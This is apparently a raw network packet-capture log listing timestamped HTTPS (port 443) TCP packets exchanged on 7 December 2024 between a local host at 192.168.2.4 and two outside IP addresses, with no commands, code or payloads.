                                                                                                                                                                  Dec 7, 2024 15:43:23.632834911 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.633004904 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.638163090 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.638176918 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.638254881 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.638261080 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.638299942 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.644159079 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.644176006 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.644243002 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.644248962 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.644293070 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.648582935 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.648614883 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.648642063 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.648646116 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.648677111 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.650341034 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.650388956 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.650393963 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.650433064 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.655867100 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.655881882 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.655958891 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.655965090 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.656003952 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.657843113 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.657897949 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.663264036 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.663280010 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.663327932 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.663331985 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.669646978 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.669666052 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.669754028 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.669759989 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.673320055 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.673350096 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.673382044 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.673384905 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.673412085 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.673440933 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.677999973 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:26.821207047 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:26.821264029 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:26.821351051 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:26.821708918 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:26.821727037 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.037085056 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.037163973 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:28.039598942 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:28.039611101 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.039844990 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.041420937 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:28.083338022 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.737704992 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.737864971 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.737903118 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.737921953 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:28.737934113 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.737945080 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.737978935 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:28.738076925 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.738131046 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:28.738142014 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.746397972 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.746453047 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:28.746464968 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.787463903 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:28.787478924 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.834357023 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:28.863487005 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.912461996 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:28.912489891 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.933995008 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.934051991 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:28.934063911 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.940587044 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.940633059 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:28.940649986 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.949203968 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.949265003 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:28.949275017 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.957379103 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.957434893 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:28.957444906 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.965426922 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.965498924 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:28.965508938 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.973778009 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.973826885 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:28.973835945 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.990406990 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.990458965 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:28.990482092 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.998399019 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:28.998466969 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:28.998491049 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.006679058 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.006733894 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.006756067 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.014050961 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.014101028 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.014121056 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.021477938 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.021534920 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.021552086 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.068715096 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.122239113 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.125838041 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.125890970 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.125906944 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.133183956 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.134037018 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.134054899 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.140381098 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.140439987 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.140450001 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.155070066 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.155152082 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.155169964 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.155215979 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.163598061 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.163604975 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.163657904 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.167884111 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.167931080 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.176340103 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.176347017 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.176405907 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.180711985 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.180718899 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.180774927 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.189249039 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.189308882 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.197594881 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.197668076 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.206121922 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.206185102 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.210381031 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.210436106 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.218843937 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.218909025 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.316492081 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.316561937 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.320935965 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.321002007 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.328499079 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.328553915 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.336067915 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.336150885 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.339734077 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.339786053 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.346571922 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.346627951 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.353144884 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.353204966 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.356767893 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.356832981 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.363261938 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.363322973 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.370081902 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.370142937 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.373176098 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.373239994 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.379609108 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.379664898 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.386024952 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.386086941 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.392636061 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.392690897 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.395978928 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.396028042 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.402497053 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.402554989 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.405879974 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.405930996 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.412482023 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.412543058 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.417450905 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.417517900 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.424082994 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.424139977 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.430505991 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.430571079 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.437036037 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.437099934 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.440378904 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.440440893 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.506767988 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.506845951 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.510487080 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.510541916 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.516330957 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.516392946 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.521656036 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.521711111 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.524362087 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.524440050 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.529613018 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.529669046 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.534518957 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.534573078 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.541750908 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.541759014 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.541841030 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.557468891 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.557483912 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.557552099 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.557570934 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.570581913 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.570601940 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.570645094 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.570657015 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.570713997 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.573899984 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.573959112 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.578284979 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.578351021 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.578360081 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.586952925 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.586968899 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.587028980 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.587038994 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.590814114 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.590884924 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.590893030 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.593205929 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.593265057 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.593272924 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.593317032 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.600778103 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.600794077 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.600845098 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.600853920 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.600900888 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.603302956 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.603354931 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.700730085 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.700794935 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.701879025 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.701936960 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.710820913 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.710839987 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.710896015 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.710908890 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.710942030 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.710958004 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.718727112 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.718741894 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.718801022 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.718810081 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.718868017 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.726043940 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.726058960 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.726147890 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.726156950 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.726203918 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.734925985 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.734941006 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.734994888 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.735003948 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.735053062 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.743387938 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.743402958 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.743462086 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.743470907 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.743536949 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.751539946 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.751554966 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.751626015 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.751635075 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.751676083 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.760313034 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.760334015 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.760387897 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.760396957 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.760428905 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.760447025 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.896291971 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.896307945 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.896373034 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.896394968 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.896428108 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.896450043 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.901597977 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.901616096 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.901679039 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.901688099 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.901736021 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.908191919 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.908206940 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:29.908261061 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:29.908277035 CET44349731162.159.140.237192.168.2.4
